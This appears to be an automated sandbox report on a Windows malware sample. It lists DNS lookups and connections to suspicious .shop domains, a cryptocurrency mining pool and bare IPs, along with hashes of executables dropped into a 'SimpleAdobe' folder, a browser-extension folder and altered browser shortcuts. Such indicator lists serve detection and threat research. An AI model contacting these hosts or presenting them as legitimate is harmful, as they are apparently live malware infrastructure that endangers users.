US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 miniaturefinerninewjs.shop udp
US 172.67.173.139:443 miniaturefinerninewjs.shop tcp
US 8.8.8.8:53 231.148.67.172.in-addr.arpa udp
US 8.8.8.8:53 139.173.67.172.in-addr.arpa udp
US 8.8.8.8:53 plaintediousidowsko.shop udp
US 104.21.53.146:443 plaintediousidowsko.shop tcp
US 8.8.8.8:53 146.53.21.104.in-addr.arpa udp
US 8.8.8.8:53 sweetsquarediaslw.shop udp
US 172.67.203.170:443 sweetsquarediaslw.shop tcp
US 8.8.8.8:53 d2iv78ooxaijb6.cloudfront.net udp
FR 13.32.158.104:443 d2iv78ooxaijb6.cloudfront.net tcp
DE 185.172.128.151:80 185.172.128.151 tcp
US 8.8.8.8:53 holicisticscrarws.shop udp
US 104.21.40.92:443 holicisticscrarws.shop tcp
US 8.8.8.8:53 170.203.67.172.in-addr.arpa udp
US 8.8.8.8:53 104.158.32.13.in-addr.arpa udp
US 8.8.8.8:53 151.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 boredimperissvieos.shop udp
US 104.21.72.135:443 boredimperissvieos.shop tcp
US 8.8.8.8:53 92.40.21.104.in-addr.arpa udp
US 104.21.65.24:443 api.2ip.ua tcp
US 8.8.8.8:53 135.72.21.104.in-addr.arpa udp
US 8.8.8.8:53 cajgtus.com udp
CO 201.233.78.169:80 cajgtus.com tcp
US 8.8.8.8:53 169.78.233.201.in-addr.arpa udp
DE 45.76.89.70:443 pool.hashvault.pro tcp
FR 13.32.158.104:443 d2iv78ooxaijb6.cloudfront.net tcp
DE 185.172.128.59:80 185.172.128.59 tcp
US 8.8.8.8:53 59.128.172.185.in-addr.arpa udp
CO 201.233.78.169:80 cajgtus.com tcp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
FR 13.32.158.104:443 d2iv78ooxaijb6.cloudfront.net tcp
US 8.8.8.8:53 240429000936002.mjt.kqri92.top udp
BG 94.156.35.76:80 240429000936002.mjt.kqri92.top tcp
US 8.8.8.8:53 76.35.156.94.in-addr.arpa udp
CO 201.233.78.169:80 cajgtus.com tcp
DE 185.172.128.90:80 185.172.128.90 tcp
US 8.8.8.8:53 90.128.172.185.in-addr.arpa udp
DE 185.172.128.228:80 185.172.128.228 tcp
DE 185.172.128.59:80 185.172.128.59 tcp
US 8.8.8.8:53 228.128.172.185.in-addr.arpa udp
CO 201.233.78.169:80 cajgtus.com tcp
DE 185.172.128.228:80 185.172.128.228 tcp
US 8.8.8.8:53 svc.iolo.com udp
US 20.157.87.45:80 svc.iolo.com tcp
US 8.8.8.8:53 45.87.157.20.in-addr.arpa udp
US 8.8.8.8:53 download.iolo.net udp
FR 185.93.2.251:443 download.iolo.net tcp
US 8.8.8.8:53 251.2.93.185.in-addr.arpa udp
US 8.8.8.8:53 svc.iolo.com udp
US 20.157.87.45:80 svc.iolo.com tcp
DE 185.172.128.150:80 185.172.128.150 tcp
US 8.8.8.8:53 150.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 service-domain.xyz udp
US 3.80.150.121:443 service-domain.xyz tcp
US 8.8.8.8:53 westus2-2.in.applicationinsights.azure.com udp
US 20.9.155.150:443 westus2-2.in.applicationinsights.azure.com tcp
US 8.8.8.8:53 121.150.80.3.in-addr.arpa udp
US 8.8.8.8:53 150.155.9.20.in-addr.arpa udp
US 8.8.8.8:53 80.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 10.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 clients2.google.com udp
GB 172.217.16.238:443 clients2.google.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 142.250.200.33:443 clients2.googleusercontent.com tcp
US 8.8.8.8:53 238.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 33.200.250.142.in-addr.arpa udp
GB 172.217.16.238:443 clients2.google.com tcp
US 8.8.8.8:53 api2.check-data.xyz udp
US 35.82.94.151:80 api2.check-data.xyz tcp
US 8.8.8.8:53 151.94.82.35.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

memory/3804-1-0x00007FFC97CB4000-0x00007FFC97CB5000-memory.dmp

memory/3804-0-0x0000000140000000-0x000000014099F000-memory.dmp

memory/3804-2-0x00007FFC97C50000-0x00007FFC97F19000-memory.dmp

memory/3804-3-0x00007FFC97C50000-0x00007FFC97F19000-memory.dmp

memory/3804-4-0x00007FFC97C50000-0x00007FFC97F19000-memory.dmp

memory/3804-12-0x0000000140000000-0x000000014099F000-memory.dmp

memory/3804-14-0x00007FFC97CB4000-0x00007FFC97CB5000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe

MD5 ed61f573f0e97d4d019f5d60bcca9941
SHA1 22f7c8289a5a5ba40d27ba57468a070aa8c5fc9d
SHA256 87db95ad37a70db12db4b64ca3aea109c2556cfd4bbe9b8dc6d82ae6e31a64ae
SHA512 6a2a9dbde80a65bb12f46a32deb3985372ac28def6411c5a78e6a8eebf272133aea8bfadff9143b0db790d6f1d055e3a11f83aff93934283b1f874fc2e661812

C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe

MD5 2290f693b91357de626b1d356db16f4b
SHA1 1506d19e4c0cad91e01668363b934045a27c2529
SHA256 c6f88bb90e18f694932b6822339ba170cfba7b24e7404278c926b9748d5f94ec
SHA512 9fca1b0c193f2b7e8bde64a1ea8b5966e2182d397f31fcdeb1c0eac032c5ed5acf1ee4e34ffbdcadb6e38c2c28ceaae06b34d36d2a594dba3f830641607cf94d

memory/3804-47-0x00007FFC97C50000-0x00007FFC97F19000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe

MD5 a6e3de929821800ccc66d20afafec7b8
SHA1 d0bca430802cf80c7e01ecfd5fc4df38a9736934
SHA256 531bbb8d4a66489852ac6802d818d8a489213b3bf4a635795d590101c579d2a5
SHA512 d0ce9adfb37eec0601f5d63b621d55c62f88a6478451149c90a03922e660e04453f042e6772af67d754b0548a3254113ef37fd0e1f1ca7886a20afe7f20a515a

C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe

MD5 1c2c9a396e9c21771e7b083e26ac00e1
SHA1 fd4762de9f5ddece9e5e520f8f6d7d88551834e9
SHA256 f78afb8b0ca6a34b95e29c29f012f342736b7dfd56dabe0f34ca40289c7b7ab7
SHA512 64beb9b82c6e8d24fd3cdd4b2c66d52c7f3a5a827ae85a803360d10be5c653bcfd0c0de2660be3e5a412466374be9a98cd9b90bf066edb36d4e6725db676cb97

C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe

MD5 ee24b23801c6ec32cb36c046b942b8c0
SHA1 489cbfbc5c5d1a3ddcbe1a8960c573d054f613ae
SHA256 33f1c46ea9e51e87265380463ae2d21978c4979a8e475597e868808d5d5e8ba4
SHA512 e4a8bc512d40dcf093221e5cfd3278dac8fe723495eb7f93c47c649e46d673a26eaf18779fb21f57b222c658d76dd9070e1204610715f6e6c45b5a006adbb349

memory/3804-89-0x00007FFC97C50000-0x00007FFC97F19000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe

MD5 d55350a0c27be5342e4846cf15f5d4e9
SHA1 21d9a532ee34120d6ec20a3b7188669b440fc0bb
SHA256 ae74b8b2087796ecd0f10a90432e594ea46305eef689a1feb7e7dff89fec82c8
SHA512 e9c013c8754b186dcbd8a86e49249370ecd3518c02108831f42bd11bf1baed31e3544113b19adcfcaa17c41851aaea6b0c55586f94971d2e5169951116bd2638

C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe

MD5 48f2916bc9e6c7dd3e08047d6fe9b44c
SHA1 5571ad54d707cd9934668ab33fe72eaaf229c8dc
SHA256 e04d3dbe571b2cd89a8da818d908b518c8d8d2c515a8492fa72cc3c2a5e7a3ea
SHA512 18dd26082f0371639f4412d738dd2308cea868c94d0c1ccad01cc98f502caa33107e4a0be26d27456eeeaf4503016ac3fbddd06312864c371cfd9533d826b870

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

MD5 14d7411790588edac22c79e809b21fa1
SHA1 2505c657fee2039254c248945a78bb71c249adec
SHA256 07979dfd1a7dfa8555059453cf0592d7bd6599ad60bfddff79cd209c837aa46f
SHA512 07e969025b8379067337ebccaa4d8d65a3161dc98f3f3f967caef57b91bde608a2dbcd60e361b2ebf702c9fb04825dbcc715ea5c9793a7312f998c99a4c77f49

C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe

MD5 a904406e113cdff69ec10c5327964c69
SHA1 ceb8d158b85d1276073cb636769bfee2a97255d0
SHA256 b4efd812665bb7b7bd3d81222224e739697fdbabdee4298c43c9a8ee7f14c635
SHA512 e6eb166d1ef04a497141c542e2bb64198e4809163e19d29abc4ff7a6c05f43a1ce7d3f24b8e193efabd3c9991f1e72ae735a09933e7a65f3b0e93b3130f6c7d6

C:\Users\Admin\Documents\SimpleAdobe\fwGxoirQYBw4EwpXclsrytox.exe

MD5 3b9a1793bec9b7382a3a6199515c97b3
SHA1 bebbc95e34b68d7c99d27a6456e1f50df4d83752
SHA256 8ac1a6438a96fb3c7d39fa1976704ad835fdea1596f9b954c2f7560a21848b7d
SHA512 8ec83aa47ef9b8f9a96f9bbdf8912b1bd345aedaeec4f98235779d61f62279fe8c63a6881491246188aca74ecee2d29af20f3c96327a07f2193824d00bd6d374

memory/3804-136-0x0000000140000000-0x000000014099F000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe

MD5 d6be1d45ab15c38031ec621521c44d45
SHA1 9ad16be7ca6adace2918304587b24ba257140f98
SHA256 f822ace3d0560206236d391515bd85e12aa23583d33d353629b1fce3df5e6ed7
SHA512 3b829aef98d2a5bc1e2efa1190cab3fe04e93de00c4d986620e8bd3a66dc01b5662efe5ff7d74d8da5bb5654f4d6bfd02487ecba93f8ecedb9d8a499fe71ef70

C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe

MD5 ce32d08ce255c535afa6a67471a4b941
SHA1 babbf9f4bb8db6232097863db4ef55ea34a49c1d
SHA256 0c4f8fc7320e66c80fecd911d160f969db0f643e225fbf2a362d0e1950f724b3
SHA512 aebf85db3e4411f025ecedef330e223b3228d33ede955a5881f2749dc2da80077edbcc755f3b64d850bae17f4bb27bf8b7888275417184cd30e7b1f2bf75a3ff

C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe

MD5 97a6689f254e8b2c43965ca730641e26
SHA1 f7c8424e47caf4942ab84f49dd06749267c38fbc
SHA256 1315fff073b95b3fec46d41304d38940e0024e63d85eaf3e8c8b32f617ba1502
SHA512 abba4bc0b96ab0ff92f5ac0551be173bd246f9ac55010cb62d36058461dc34d6f79ba8f3e7955bbefa71458dea865005027d3030d60e6b0cdab8c56471359333

C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe

MD5 903d889f5e30a331ead79110942b3781
SHA1 f1781fe7f9b7a6f5e37e9d4f43672e62fb2685fb
SHA256 762289df9a17fd9a9a01ffa965ab7d0a41488bf61ddab8fc066758d357f266c4
SHA512 0c3743a06e5df5114a56e7ef8dbe61579075a7cd46db6a3da87cefc58a90f05f5b8909dc250ac8561a4ba20c7b9ea421ec2bfd5048c3f45240377ad6f681d84b

C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe

MD5 01aebd1d440c4668b7f9f2504dd7b8bd
SHA1 2aafb63648bfda5b510a955170ac997e0085d526
SHA256 9b2a82e90326990ed51eef4564dcf0498fc5fad8bc4228e0a14e7f2a6c5373e8
SHA512 7764e6fdc37781469ed96bc7e826cad40ad9a20d6447e5a204b061aa86397019bc5de1b582632c30cfc46c8e419229be9487eba53ace597c7dd8bb4a907db290

C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe

MD5 333bf3316e1c65bd44272fa44d2b8c66
SHA1 d6e05af46fccc4e18e7f1b0b64f2c063d1e10b96
SHA256 653d1db75b73a0a9373e6f9a712f495d2f9dffeb23cd1c4ba3e3e162963dddca
SHA512 517609a7c5b897bbf15b6517645e5a7d3d46d1e1bb1630d635052c21069ddfc70a0babad079bae41c114d84e09aee01874946a49117b74ce956e3861517886a4

memory/3804-189-0x0000000140000000-0x000000014099F000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe

MD5 78b368161165ade1dce05220e9959776
SHA1 867632bfa11644e73954486bac0d18efeb8a36fd
SHA256 27ddb70d8e8e61fdf6c2f372840ca134337dca0d1ab23d8e37de3921cae0488d
SHA512 955a1800411f46dbdc78bec6e09091a869054b5d45e55db6cd2e6b323825d948b3abfb1f578d4ba7259c4f2dc17f3a6a39abdd36129d242b417c553e2db5134b

C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe

MD5 d43ac79abe604caffefe6313617079a3
SHA1 b3587d3fa524761b207f812e11dd807062892335
SHA256 8b750884259dd004300a84505be782d05fca2e487a66484765a4a1e357b7c399
SHA512 bb22c73ed01ff97b73feb68ae2611b70ef002d1829035f58a4ba84c5a217db368aae8bdc02cdec59c1121922a207c662aa5f0a93377537da42657dd787587082

C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe

MD5 e9122c4a8313d3fa2a77961523dc1f3a
SHA1 e759d10825a3971fd8dfcaee1e8a3257005ce510
SHA256 c50edc34aed88e8c744ab3f52fe2cba34b498ae3c9f553b286c5771264a61819
SHA512 90d46c63c57c91d1d126da3cada27a3f062020c879a9982999ad5f6c418132aef96d70751f037a74a427f61b83451e8f15698671920f829d0bbf55fe29eb1d90

C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe

MD5 144e3fc197d288b006018a06681636eb
SHA1 82bc88c1799ade03d1dcecb8b13653c0aa90f475
SHA256 75997a0972431bc5e7a704b53cd1a000bf6f1f51c31f2ef32b3af38f120ccfce
SHA512 def371308bbde6c659c4b72a5d144bb9149931ec985ae2ccfe68cbb7acc6d15446cb917e4799908dfa4b65dae77a01980c5f52e6f80a3d39586039827d03cb40

C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe

MD5 50c2351d515f9ea10496e4e33401bd2f
SHA1 a3df57bc9e85e38bf8129e2a03695dd092935b97
SHA256 0f949bcc2b6eee21800264fc2a73689349336daee566cb773789e980f89ac6e9
SHA512 01fcedc03cae4b65f13914c9a7c03f3ddae216c555a6b7208cddefb99de1980377f491ea24f43b58f2d9fa8055f3adafce8cc19f3b05a6e3963b5b58ba86f42f

C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe

MD5 4de76ad34e9ccffc91bbec7a3c4e79e0
SHA1 ff1a420b36557b306df4e2c3e020c49abeb3620a
SHA256 e84cad4f234445a47bf803591ac168031558e9215ba714c2197fe75b5188aa1c
SHA512 ff317dd768d14ec10d1cfc5cf2111b08a2943be55f58066b450ecb27e4531ea54d68911faf7ad4990e1bcb6d56f67b6c2179749266634c1dbb7bcfc57ed27dbe

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

MD5 029f0e789f5b8d0b3f519b5bb9102754
SHA1 51752b151911083df2f34fde4ae2aaf91de5e930
SHA256 110eedf789feeb746b14dfc2d1a93aa580dfa110a4cb3073ce4d9460de5309cf
SHA512 d8d2783d6d9707e1cc7347a8cc165ea2ed50e676f34882a36467205006a1c80aa11f1d84c157f57e227a497be769e45a6f82edc4b4a6fa2f015f21931bdbf06a

memory/436-263-0x0000026DF5990000-0x0000026DF599A000-memory.dmp

memory/5088-264-0x0000000000150000-0x00000000005CA000-memory.dmp

memory/436-273-0x0000026DF5A90000-0x0000026DF5B06000-memory.dmp

memory/4800-283-0x00000000006D0000-0x0000000000E25000-memory.dmp

memory/5088-280-0x0000000004F50000-0x0000000004FEC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp

MD5 7a174e2f70a9fe7894ae44473feb4b07
SHA1 69b04204e0de5c40b4a8c3dfda0b3a20efe58afc
SHA256 35a3a773aa1ccdaed5344f5df09d4cc1c496b49679db05903e00955362e89a00
SHA512 c2419e4165d979f2894ceb65cbf45d6342a4a02d6a37f8accbc52ba0747bc8e62e85168f20a9942cf54abeab61e2b39e1257726c4cbe2bc4f1389ddf71742c7f

C:\Users\Admin\AppData\Local\Temp\is-RFBB3.tmp\_isetup\_iscrypt.dll

MD5 a69559718ab506675e907fe49deb71e9
SHA1 bc8f404ffdb1960b50c12ff9413c893b56f2e36f
SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
SHA512 e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe

MD5 ea0081722a86c3016aa249262483c7ca
SHA1 c6fe97dc6211dcbd732619a11f7a525b800765e4
SHA256 9ca6f73f7f915ad1b27b1e3901c5d89ff829f9cd146812077fa1c2e295338ce8
SHA512 e03e5077b5ecd2991e87589f133c84a991853caf507476d6b385a2977789296225cce347d71fe836a03fccf71054d56e24cdc8bd4aeee6e1bb0f14e624cf3089

memory/1016-318-0x0000000003510000-0x0000000003511000-memory.dmp

memory/1016-317-0x0000000001A60000-0x0000000001A61000-memory.dmp

memory/1016-319-0x0000000000A80000-0x00000000014A5000-memory.dmp

memory/2568-324-0x0000000140000000-0x0000000141A5C000-memory.dmp

memory/436-339-0x0000026DF5A30000-0x0000026DF5A4E000-memory.dmp

memory/1280-356-0x0000000000530000-0x0000000000531000-memory.dmp

memory/1328-366-0x0000000005920000-0x0000000005EC4000-memory.dmp

memory/1328-375-0x00000000055E0000-0x00000000055EA000-memory.dmp

memory/2924-386-0x0000000000400000-0x0000000000647000-memory.dmp

memory/4400-384-0x0000000000400000-0x0000000000537000-memory.dmp

memory/1328-407-0x0000000006150000-0x00000000061C6000-memory.dmp

memory/3804-403-0x0000000140000000-0x000000014099F000-memory.dmp

memory/1172-409-0x0000000000250000-0x00000000008BA000-memory.dmp

memory/832-411-0x0000000000400000-0x0000000000602000-memory.dmp

memory/832-415-0x0000000000400000-0x0000000000602000-memory.dmp

memory/832-410-0x0000000000400000-0x0000000000602000-memory.dmp

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe

MD5 82f7e39a51aaf2c28ac77ca4fa9ed7ad
SHA1 3a3c99ca8ff8a7c6ee9ae1be33cd7591c0d9ce8d
SHA256 b4c685b1fbabec734efca7e62c5de614717bb6f9f3e324043403e399d707b49f
SHA512 f0b26c404d7982f3a8345fca00b4fade127f2fa327a4adb6d1e6c52797598bd36563296dacc8717637c93ec002f8657c431e2b9f0df52f5156a45cde4c938f7d

memory/1328-424-0x0000000006820000-0x000000000683E000-memory.dmp

memory/4660-430-0x0000000000400000-0x0000000000602000-memory.dmp

C:\Users\Public\Desktop\Microsoft Edge.lnk

MD5 02100e52fb1d3764475c29fc25fcb59a
SHA1 fe78c3ddb5d82a276e17e478dc473dbbca72fa0b
SHA256 809deb04be8c39ba233266e8b283398a891012fb89ecbdbc071d0ddcdbf764f4
SHA512 72c96153eade1ec3fd47350d3cd56ffbaeaabc6b48fa9d66e4a7bfdcdc103a51ec08cb150e265c633657fb9a8313422310161b5ca3e22cf85f007ce8e233fdbf

C:\Users\Public\Desktop\Google Chrome.lnk

MD5 dcb4a6ee243d27ce54ed73ed0074733d
SHA1 13da7c6b21e8b3b4bb007caa734dd4a5e2cd0150
SHA256 027266cc77af6885f7f2a43bdf9ac189bb3a12ff2d78214647f8a261fe49a1d1
SHA512 e8649d81e8df27b061126972f5d57c96df256e024af88982f293a9149f5c92ae2afc35dcdbfd1f517703d15c14e00227c6e958ec2cf75f45024d4b1f03326144

memory/1328-437-0x00000000068F0000-0x0000000006902000-memory.dmp

memory/1328-436-0x00000000069B0000-0x0000000006ABA000-memory.dmp

memory/1328-438-0x0000000006950000-0x000000000698C000-memory.dmp

memory/1328-439-0x0000000006AC0000-0x0000000006B0C000-memory.dmp

memory/1328-435-0x0000000006E60000-0x0000000007478000-memory.dmp

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\libeay32.dll

MD5 5fbd844a6ce26deb5337e8e6dd7c7b70
SHA1 5302e49b2027a07c7bb8f95d45510efc0d954cf8
SHA256 f0d640c4e07c81c29f0ec2b603ec3017bdd4db0d0e26c3fa364a6bbf45826058
SHA512 c383b5ec9fb9efd53cdf00c2b0940fe60a35a857f8be40ae0763647c3523712553910aca8504768cc86895b2168525fa6043d567e66e0ed5696e2c8e5e7b992d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5 8202a1cd02e7d69597995cabbe881a12
SHA1 8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA512 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5 7050350133a0d23fe6adacd24fb71155
SHA1 861cd416ab05c53ec8c699baf9c27c9391db8723
SHA256 d0a45e8cbffe9209bc073f7a4fe8750ecb4a099180a3fd92d0f118aa980f9fdf
SHA512 0fe2ac5fe2e25ac36bfeecc0933933eeb1dbef6af6e79b3416e55f855cc3bc6047b9598644b52e4da05fb0d4afec82ade19d3acf2cd8422edc8522513e4cd12f

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5 30ba39f0d9dfc242bcf5a13148c65714
SHA1 f35a36a5dd87eec68ee6d1e621224995838f30f2
SHA256 6cb7722d1559158bb31024e172b224988f0963e043cb8f60065c94c0e9f5b0a8
SHA512 bf732a235af263d14562f0f10495e910f18affdf4dd1f1f0507c470de7e9cc0d3f122f4e114962ab3342c434d71b20e97ee78dde7339a42300cb5a394f500a45

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5 03c5516b31080c42ff33a927317945d2
SHA1 54f5ea7b52a4eddb69812da85f3f6349db47f25f
SHA256 7f521076bb6af6832762441ba16bfa83a6cf5f55abcfba68fd84c10c591b920c
SHA512 fe55f4067d2304db2af1879ff7c17d29482aefb8100e8f2e92f425c198b24511dc39508e57ef5d4908c7593a785b5e567739b7ff59626c123f7fff01c31b1840

memory/1280-387-0x0000000000550000-0x00000000016A7000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe

MD5 f82b10ad392bbd43cbd81d1da4cdd6f5
SHA1 f4adf6325e87456c49db780a7540a414717cf1f3
SHA256 056dc56035a562b5296aca8b8ab1dbf742c36f4d1830885ea7302944d04d1d79
SHA512 1d6c98715cf7e38ce21c697f0976c95c8f183a04a2f32372f58c18bb1d5881ffa67910ce96b765dab7f15cfcc983d051448c4a1b4557170c18a04ec3e2b1d616

memory/2924-383-0x0000000000400000-0x0000000000647000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TmpB75.tmp

MD5 1420d30f964eac2c85b2ccfe968eebce
SHA1 bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA512 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

memory/1328-367-0x0000000005410000-0x00000000054A2000-memory.dmp

memory/4400-364-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2924-368-0x0000000000400000-0x0000000000647000-memory.dmp

memory/1280-358-0x0000000000550000-0x00000000016A7000-memory.dmp

memory/3996-354-0x0000000001060000-0x0000000001061000-memory.dmp

memory/1328-353-0x0000000000400000-0x0000000000452000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 b2a1398f937474c51a48b347387ee36a
SHA1 922a8567f09e68a04233e84e5919043034635949
SHA256 2dc0bf08246ddd5a32288c895d676017578d792349ca437b1b36e7b2f0ade6d6
SHA512 4a660c0549f7a850e07d8d36dab33121af02a7bd7e9b2f0137930b4c8cd89b6c5630e408f882684e6935dcb0d5cb5e01a854950eeda252a4881458cafcc7ef7c

memory/1016-314-0x0000000001A00000-0x0000000001A01000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zSF6C4.tmp\Install.exe

MD5 19f94738bb8b332b995e50614f00a4c5
SHA1 88de65c1bca1d05d80edcbab5d58f232ecbf2d0e
SHA256 87c116fcd2e461a67d3c27e718fffedd4f4c7e8031be40a463d1e90aee2ec956
SHA512 d77606cc121c81e2163d540b84bdf42d0d07007509fbfd5c45dfa05210133e404b2f3381d9eed9255bde9a67d676aed9588a3a9153a6c65d81c3cd7ce5a013a5

memory/1016-312-0x00000000019F0000-0x00000000019F1000-memory.dmp

memory/1016-310-0x00000000019E0000-0x00000000019E1000-memory.dmp

\??\pipe\crashpad_4880_EQASGZMLFVDAZPLQ

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

MD5 0b76169d906840d3dc6d6311bc20b2a6
SHA1 c1d72192df2f8b0edd02cf192c8622eb7a074dba
SHA256 93dfe9d7c55e31f2564cf6458c9949f72e36e4a2c9cfcd265b7d74b6fa32b6aa
SHA512 8a0216cfab2d5084737fab09b22be0c71d9ee4ba211c956fa24f55b1a1750f5256f72ed3d46735e9c73b69bceeefae9a52d37cc8459c605b478b55af67c0a281

C:\Users\Admin\AppData\Local\Temp\Extension\js\content.js

MD5 9ab0f9320495b406fddb6de1730652cc
SHA1 a6d35a74dc53289794c9a05dc1ad8c03878e153a
SHA256 ab913781705a8841f3c3973af4cfeb14c7ed9919a08ff810b920dca17d69cbd1
SHA512 c527057c8af9cb4a55a71ff5a8010706119fd19b5c354dae046cd498f350c422b10578a3e3c2423e385c81d76d3ece3b057c5f02f8c7b76769e18c5e2aa023fe

C:\Users\Admin\AppData\Local\Temp\Extension\manifest.json

MD5 afedc050f75b487069f57b36d197cf71
SHA1 d0bf864b9bb9fb774d34a8fd39e4c6badfaf32a6
SHA256 a88c0260db2a3d8a21beb7964cd3ba5697399bf96e94c8cbc4258f55cd9cc02b
SHA512 474a66f12ce4f2380e25658e1048393c2d8a290b749210c79619c0a6d9aed2ec9a212bd58ff9db9c6b198e3533dba748395e9d347b850edfaba890030b847d27

C:\Users\Admin\AppData\Local\Temp\Extension\background.js

MD5 be34e6301e9cbf4b596fd98bc2aeae0b
SHA1 67e6ef115b39f10c5f9e4f6a967cbafbc1e55c76
SHA256 13f1a9b2d009e0f93f13f4e04eb98416419f5ada38ad5f0f356287a4d9a0f329
SHA512 c10c25fe0b4c94a188c987e910a0a5bbf58bf8b57bc7104aa68f22dc6cf2517c72b0c6aafcdd3124775b156e85e9bdbeb58ab8c5162aa65ccb68d22dbfe4f9a9

memory/2568-323-0x00007FFC9A730000-0x00007FFC9A732000-memory.dmp

memory/1016-316-0x0000000001A40000-0x0000000001A41000-memory.dmp

memory/1016-315-0x0000000001A30000-0x0000000001A31000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

MD5 0254d372a9ac053679e91e625c16af23
SHA1 7011d11607b56781f09c80791f8965fd59eb2571
SHA256 8a1d285b2441a5628d2ac099aafe44977f66068ad1c669a8d61b1fc1e87f6e1c
SHA512 d492e73b180a716cde9c613e2c34c43280aac8045269cec8c116e48b2531e16da3a41bb3af4f57fa4290d2cd119a1eb3cf03e7be5bb5b723e762282dae022b64

memory/5088-519-0x0000000004E90000-0x0000000004EA0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll

MD5 544cd51a596619b78e9b54b70088307d
SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719

